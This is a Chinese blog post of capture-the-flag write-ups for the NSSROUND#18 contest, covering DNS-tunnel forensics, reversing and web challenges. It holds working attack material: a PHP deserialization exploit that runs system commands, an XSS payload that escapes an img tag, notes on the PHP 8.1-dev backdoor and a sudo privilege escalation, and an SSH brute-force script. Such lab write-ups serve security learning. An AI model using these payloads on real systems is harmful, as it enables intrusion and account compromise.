NSSROUND#18记录

7 分钟

前言

开工第一天,没啥活干。刚好新年的时候NSSROUND#18举办了,找了几道题玩玩,看看能不能学习点新的东西。

[NSSRound#16 Basic]Litter

一道流量分析题,需要找出隧道工具的名称、重命名的文件、窃取的用户email。既然说是隧道工具,一般就是跟内穿有相关系,把重点放在TCP、dns、UDP等流量上。

观察流量,发现在157.145157.144两个内网ip之间一直有频繁的microsofto365.comdns query流量,并且microsofto365.com前面都会跟着一串字符串,可疑。

image-20240115165411418

通过tshark提取出所有的dns query流量,随便找几串会发现前面的奇怪字符串能够被十六进制解码显示一些Windows相关的数据,于是将microsofto365.com全部转出来

#tshark.exe -r A:\下载\suspicious_traffic.pcap -T fields -e dns.qry.name >A:\下载\data.txt
f=open("A:\下载\data.txt","rb").readlines()
k=open(r'A:\下载\result.txr','a')
for i in f:
    if b'microsofto365.com' in i and len(i) > 100 :
        text=i.decode().strip('\r\n')
        text=text.strip('microsofto365.com').replace('.','')
        k.write(text)

丢进去十六进制解码,会发现有很多东西,重命名隧道工具,可以搜索下常用的ren命令,发现将一个dnscat2的文件重命名为win_install.exe,百度确认dnscat2确实是一个隧道工具。

image-20240115170020999

至于窃取的418行的用户邮箱密码,直接关键词搜索418,发现能够搜到文件函数对应的邮箱账号。

image-20240115170148006

网警一道反序列化考题

一个朋友丢我的,叫我看一下,这道题给了很多个php文件,里面都有简单的代码,似乎让人浮想联翩。

image-20240115193350676

反序列化中的题目代码如下:

<?php
highlight_file('index.php');
class Animal {
    public $name;
    public $color;
    public function __get($var) {
        return $this::{$var}($this->color);
    }

    public static function eat($str, $key = 'pwd') {
        @$key = $key ? $key : $_COOKIE['PHPSESSID'];
        $l = strlen($key);
        $food = '';
        for ($i=0;$i<strlen($str);$i++) {
            $food .= $str[$i] ^ $key[$i%$l];
        }
        return $food;
    }

    public function __call($f,$v) {
        $food = self::eat($v[0]);
        eval($food);
    }
}
class People {
    public $name;
    public $pet;
    public function __toString() {
        return (string)$this->pet->{$this->name}; //对象属性的赋值方式
    }
}

echo unserialize(Animal::eat(base64_decode($_POST['hello'])));
开始看了好一会,因为漏掉了看echo,想着是不是其它文件中的函数来触发这个文件,确实给的其它文件起到了一定干扰,后面重新审视题目看到了echo,整条链就有触发点了,__toString()->__get()->__call即可触发eval()进行RCE
<?php
highlight_file('index.php');
class Animal {
    public $name;
    public $color;
}
class People {
    public $name;
    public $pet;
}
function eat($str, $key = 'pwd') {
    @$key = $key ? $key : $_COOKIE['PHPSESSID'];
    $l = strlen($key);
    $food = '';
    for ($i=0;$i<strlen($str);$i++) {
        $food .= $str[$i] ^ $key[$i%$l];
    }
    return $food;
}
$a=new People();
$a->pet=new Animal();
$a->name='noexist';
$a->pet->color=eat('system("whoami");');
echo base64_encode(eat(serialize($a)));

[NSSROUND#18 Becomeroot]

一道Php8.1-dev后门漏洞配合sudo1.8提权的题目,直接就告诉你是php-8.1,就是提权比较难找。

  1. 进入题目,直接就给出了phpinfo显示php8.1-devflag在/root里面,通过php8.1-dev后门漏洞发送发送User-Agentt标头执行任意代码。

image-20240218091742089

  1. 后面是提权,查看有没有SUID命令发现并没有异常,找敏感文件也没有找到,最终是查看sudo的版本为1.8.3并且恰巧也是ubuntu20.04。链接:sudo1.8.3提权

image-20240218093605750

拿到flag

image-20240218101720514

[NSSROUND#18 门酱想玩什么呢?]

整个题目的打法就是XSS+CSRF的打法,通过XSS进行跨站伪造,让本站访问ymzx.qq.com的网站,最终能够得到flag,作者的出题方法也是比较新奇。

  1. 首先在评论区页面,能够发布标题和评论,这里应该是可以进行xss,标题头处好像过滤了<、>等这些符号,尝试了script是没有显示,但是详细内容处是没有进行任何过滤。

image-20240218105323632

  1. 在首页处可以看到hint=nssctfroundSpring.php,访问nssctfroundSpring.php可以看到给出了部分关键源代码:
 <?php
highlight_file(__FILE__);
//部分关键代码
$contentLines = explode(" ", $comment['content']);
if (preg_match('/^https?:\/\/\S+$/', $contentLines[0])) {
    if (preg_match('/^https?:\/\/[^\/]+\/\S+\.png$/', $contentLines[0], $matches) && end($contentLines) === '/png') {
        $urlParts = parse_url($matches[0]);
        if ($urlParts !== false) {
            echo '<img class="content" src="' . $matches[0] . '">';
            //.......
        }
        //......
    }
    //......
}
代码中将评论的内容对空格进行分割,第一个索引的内容要匹配到http://开头,以.png结尾,最终在$contentLines最终索引要匹配到/png,最终会输出到<img class="content" src=中,用http://"><script>alert(1)</script>.png /png形式就能完成XSS
  1. 最终通过XSS,将{"url":"http://node4.anna.nssctf.cn:28672/words/?title=dGVzdA%3D%3D&content=aHR0cCUzQSUyRiUyRiUyMiUzRSUzQ3NjcmlwdCUzRWxvY2F0aW9uLmhyZWYlM0QlMjJodHRwcyUzQSUyRiUyRnltengucXEuY29tJTJGJTIyJTNDJTJGc2NyaXB0JTNFLnBuZyUyMCUyRnBuZw%3D%3D"}提交到king.php中,就能通过本地访问圆梦之星网站,得到flag。

image-20240218111714180

image-20240218104443167

看了一下题目的源代码是怎么实现的,它就是通过phpexec执行了一个python的文件,python文件引入了谷歌的selenium 引擎,判断访问的domain是否属于ymzx.qq.com进而进行一定的判断。

[NSSRound#18 Basic]过年来下棋

密文为XXVAF AVXAX DXFVX DXDVA XAGV,就是棋盘密码,密钥为lucky

image-20240218113055636

[NSSRound#18 Basic]easy_rw

Dolphin Scheduler Admin海豚调度系统,没懂这道题想考什么,作者提示弱口令就完事了,但是没有爆破到弱口令,扫了一下目录,发现存在actuator信息泄露,查了一下是CVE-2023-48796,最终是在env端点泄露直接找到了flag,除此之外就找到了用户是sa,其它没有了,不过有点奇怪的是,平台上面没有看到有其它人的解。。。

image-20240218113914984

[NSSRound#18 Basic]usersssssssss

遍历ssh的用户登录,寻找flag的题目,flag就在用户目录下,密码是账号的md5,用脚本遍历即可。

import hashlib

import paramiko
from hashlib import md5

file=open("A:\\下载\\wordlist.txt",'r').readlines()
p=open("A:\\下载\\md5.txt",'r').readlines()
usernameList=[]
passwordList=[]
for username in file:
    username=username.strip('\n')
    usernameList.append(username)
for i in p:
    i=i.strip('\n')
    passwordList.append(i)
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for u in range(len(usernameList)):
    username=usernameList[u]
    password=passwordList[u]
    hostname = "node4.anna.nssctf.cn"
    port = 28532
    try:
        client.connect(hostname, port, username, password)
        print("Connect success")
    except:
        print("fail")
    stdin, stdout, stderr = client.exec_command("ls -alh")
    res = stdout.read().decode()
    print(username,password)
    print(res)
    if "flag" in res:
        stdin, stdout, stderr = client.exec_command("cat flag.txt")
        res = stdout.read().decode()
        print(res)
        print("success")
    else:
        print("fail")
    client.close()
# laminous af9533540eaafd949e70f18ee0fabd47

[NSSRound#18 Basic]Number 7

182A1918071C152E0A4737263A3E780A6F6A075A112742777C687D0700773F7D39560063487D,type7密码解密。

[NSSRound#18 Basic]温馨的酒吧

这道题可太有创意了,通过bilibili故事线的形式去通过得到flag,直接一个个点手搓就能出了。

image-20240218131835366

[NSSRound#18 Basic]EzADVM

一道Apk逆向VM的题目,并不算很难。

  1. 首先逆向APK,可以看到逻辑很简单,调用了stringFromJNI方法处理输入的字符串,如果返回的是Right!则就是flag

image-20240218152037805

  1. 既然APK中并没有这个函数,那么就在so中找,找到这个处理函数。
__int64 __fastcall Java_com_example_ezadvm_MainActivity_stringFromJNI(_JNIEnv *a1, __int64 a2, __int64 a3)
{
  const char *v4; // rsi
  const char *v5; // rsi
  int v6; // eax
  const char *v7; // rsi
  __int64 StringUTFChars; // [rsp+60h] [rbp-9B0h]
  int v10; // [rsp+6Ch] [rbp-9A4h]
  int v11; // [rsp+70h] [rbp-9A0h]
  __int64 v13; // [rsp+90h] [rbp-980h]
  char v14[24]; // [rsp+190h] [rbp-880h] BYREF
  char v15[24]; // [rsp+1A8h] [rbp-868h] BYREF
  char v16[30]; // [rsp+1C0h] [rbp-850h] BYREF
  char v17; // [rsp+1DEh] [rbp-832h] BYREF
  char v18; // [rsp+1DFh] [rbp-831h]
  char v19[1024]; // [rsp+1E0h] [rbp-830h] BYREF
  char v20[8]; // [rsp+5E0h] [rbp-430h] BYREF
  char v21[8]; // [rsp+5E8h] [rbp-428h] BYREF
  char v22; // [rsp+5F0h] [rbp-420h] BYREF
  char v23; // [rsp+5F1h] [rbp-41Fh]
  char v24; // [rsp+5F2h] [rbp-41Eh]
  char v25; // [rsp+5F3h] [rbp-41Dh]
  char v26[8]; // [rsp+5F8h] [rbp-418h] BYREF
  char s[1032]; // [rsp+600h] [rbp-410h] BYREF
  unsigned __int64 v28; // [rsp+A08h] [rbp-8h]

  v28 = __readfsqword(0x28u);
  memset(s, 0, 0x400uLL);
  memset(v26, 0, sizeof(v26));
  memset(&v22, 0, 8uLL);
  memset(v21, 0, sizeof(v21));
  memset(v20, 0, sizeof(v20));
  memset(&v17, 0, 2uLL);
  memset(v19, 0, sizeof(v19));
  __memset_chk(s, 0LL, 1024LL, 1024LL);
  __memset_chk(v26, 0LL, 8LL, 8LL);
  __memset_chk(&v22, 0LL, 8LL, 8LL);
  __memset_chk(v21, 0LL, 8LL, 8LL);
  __memset_chk(v20, 0LL, 8LL, 8LL);
  __memset_chk(&v17, 0LL, 2LL, 2LL);
  __memset_chk(v19, 0LL, 1024LL, 1024LL);
  v11 = 0;
  v10 = 1;
  StringUTFChars = _JNIEnv::GetStringUTFChars(a1, a3, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      if ( !v10++ )
      {
LABEL_29:
        std::string::basic_string<decltype(nullptr)>(v14, "Error!");
        v7 = (const char *)sub_20F50(v14);
        v13 = _JNIEnv::NewStringUTF(a1, v7);
        std::string::~string(v14);
        return v13;
      }
      if ( code[v10] != 33 )
        break;
      __strcpy_chk(v19, StringUTFChars, 1024LL);
    }
    if ( code[v10] == 255 )
      goto LABEL_29;
    if ( code[v10] == 136 )
      break;
    switch ( code[v10] )
    {
      case 0xA1u:
        s[v11 - 1] = v25 & v22;
        break;
      case 0xC3u:
        v22 = v17 | v18;
        break;
      case 0xB2u:
        v23 = ~v17;
        break;
      case 0xE5u:
        v24 = ~v18;
        break;
      case 0xF1u:
        v17 = v19[v11];
        v18 = v19[++v11];
        break;
      case 0xD4u:
        v25 = v24 | v23;
        break;
      case 0xBFu:
        v6 = v11++;
        v21[0] = s[v6];
        break;
      case 0x99u:
        v11 = 0;
        break;
      case 0xBBu:
        s[v11 - 1] = v11 + v21[0] - 1;
        break;
    }
  }
  if ( !memcmp(&flag, s, 0x20uLL) )
  {
    std::string::basic_string<decltype(nullptr)>(v15, "Right!");
    v5 = (const char *)sub_20F50(v15);
    v13 = _JNIEnv::NewStringUTF(a1, v5);
    std::string::~string(v15);
  }
  else
  {
    std::string::basic_string<decltype(nullptr)>(v16, "Wrong!");
    v4 = (const char *)sub_20F50(v16);
    v13 = _JNIEnv::NewStringUTF(a1, v4);
    std::string::~string(v16);
  }
  return v13;
}
通过code进行while循环,有很多case判断,通过不同的case进行了不同的处理,处理完之后与输入的字符串比较,如果一样则成功。

分析一下code-case的处理逻辑

code = [
  0x21,0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0x53,
  0x57, 0x44, 0x61, 0x44, 0x64, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4,
  0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2,
  0xE5, 0xD4, 0xA1, 0x53, 0x57, 0x44, 0x61, 0x44, 0x64, 0xF1,
  0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4,
  0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2,
  0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0x53,
  0x57, 0x44, 0x61, 0x44, 0x64, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4,
  0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2,
  0xE5, 0xD4, 0xA1, 0x53, 0x57, 0x44, 0x61, 0x44, 0x64, 0xF1,
  0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4,
  0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0x66, 0x6C, 0x61,
  0x67, 0x7B, 0x59, 0x75, 0x69, 0x73, 0x61, 0x62, 0x65, 0x61,
  0x75, 0x74, 0x69, 0x66, 0x75, 0x6C, 0x67, 0x69, 0x72, 0x6C,
  0x7D, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2,
  0xE5, 0xD4, 0xA1, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x59, 0x75,
  0x69, 0x73, 0x61, 0x62, 0x65, 0x61, 0x75, 0x74, 0x69, 0x66,
  0x75, 0x6C, 0x67, 0x69, 0x72, 0x6C, 0x7D, 0xF1, 0xC3, 0xB2,
  0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0x66,
  0x6C, 0x61, 0x67, 0x7B, 0x59, 0x75, 0x69, 0x73, 0x61, 0x62,
  0x65, 0x61, 0x75, 0x74, 0x69, 0x66, 0x75, 0x6C, 0x67, 0x69,
  0x72, 0x6C, 0x7D, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0xF1,
  0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0x53, 0x57, 0x44, 0x61, 0x44,
  0x64, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x59, 0x75, 0x69, 0x73,
  0x61, 0x62, 0x65, 0x61, 0x75, 0x74, 0x69, 0x66, 0x75, 0x6C,
  0x67, 0x69, 0x72, 0x6C, 0x7D, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4,
  0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2,
  0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0x53,
  0x57, 0x44, 0x61, 0x44, 0x64, 0x66, 0x6C, 0x61, 0x67, 0x7B,
  0x59, 0x75, 0x69, 0x73, 0x61, 0x62, 0x65, 0x61, 0x75, 0x74,
  0x69, 0x66, 0x75, 0x6C, 0x67, 0x69, 0x72, 0x6C, 0x7D, 0xF1,
  0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0x66, 0x6C, 0x61, 0x67, 0x7B,
  0x59, 0x75, 0x69, 0x73, 0x61, 0x62, 0x65, 0x61, 0x75, 0x74,
  0x69, 0x66, 0x75, 0x6C, 0x67, 0x69, 0x72, 0x6C, 0x7D, 0xF1,
  0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4,
  0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2,
  0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0x53,
  0x57, 0x44, 0x61, 0x44, 0x64, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4,
  0xA1, 0x99, 0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB,
  0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB,
  0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB,
  0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB,
  0xBF, 0xBB, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x59, 0x75, 0x69,
  0x73, 0x61, 0x62, 0x65, 0x61, 0x75, 0x74, 0x69, 0x66, 0x75,
  0x6C, 0x67, 0x69, 0x72, 0x6C, 0x7D, 0xBF, 0xBB, 0xBF, 0xBB,
  0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB,
  0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB, 0x53, 0x57, 0x44, 0x44,
  0xBF, 0xBB, 0xBF, 0xBB, 0x99, 0x53, 0x57, 0x44, 0x44, 0x53,
  0x57, 0x44, 0x44, 0x88, 0xFF, 0x53, 0x57, 0x44, 0x44]
for i in code:
    if i==0xA1:
        print("flag[i-1]=v25&v22")
    if i==0xC3:
        print("v22=v17|v18")
    if i==0xB2:
        print("v23=~v17")
    if i==0xE5:
        print("v24=~v18")
    if i==0xF1:
        print("v17=v19[i]")
        print("v18=v19[++i]")
    if i==0xD4:
        print("v25=v24|v23")
    if i==0xBF:
        print("v21[0]=s[i++]")
    if i==0x99:
        print("i=0")
    if i==0xBB:
        print("s[i-1]=i+v21[0]-1")
        
v17=v19[i]
v18=v19[++i]
v22=v17|v18
v23=~v17
v24=~v18
v25=v24|v23
flag[i-1]=v25&v22
很简单的发现整个代码都在循环执行flag[i-1]=(~v19[i]|~v19[++i])&(v19[i]|v19[++i]),可以看作是(~a|~b)&(a|b),仔细看看发现它达到的效果和异或是一样的,相同返回0,不同返回1,当这些全部处理完,进行了`v21[0]=s[i++]
s[i-1]=i+v21[0]-1处理,就是对flag[i]=flag[i]+i`的操作,那么整个逻辑就很简单了。

首先找到flag的值如下:

image-20240218143056284

flag=[0x1d, 0x01, 0x12, 0x1a, 0x16, 0x42, 0x39, 0xf, 0x38, 0x9, 0x13, 0x31, 0x28, 0x38, 0x67, 0x6e, 0x1b, 0x61, 0x7c, 0x24, 0x1f, 0x47, 0x44, 0x81, 0x6a, 0x2c, 0x6d, 0x2b, 0x2c, 0x2d, 0x6a, 0x9c];
for i in range(len(flag)):
    flag[i]=flag[i]-i
for i in range(30, 0, -1):
    flag[i] ^= flag[i + 1]
result = ''.join([chr(int(x)) for x in flag])
print(result)
~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:CTFCTF
文章标题:NSSROUND#18记录
文章链接:https://aiwin.fun/index.php/archives/4379/
最后编辑:2024 年 2 月 18 日 20:27 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 2 + 5 =
快来做第一个评论的人吧~